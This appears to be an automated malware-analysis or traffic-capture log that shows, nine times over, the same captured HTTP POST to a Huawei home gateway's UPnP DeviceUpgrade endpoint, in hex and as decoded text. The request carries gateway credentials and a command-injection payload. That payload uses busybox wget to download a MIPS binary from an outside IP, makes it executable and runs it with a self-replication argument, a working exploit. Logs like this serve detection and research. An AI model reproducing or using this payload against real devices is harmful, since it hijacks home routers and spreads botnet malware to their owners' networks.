Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 32 32 37 2e 31 33 35 2e 31 35 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.227.135.15 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
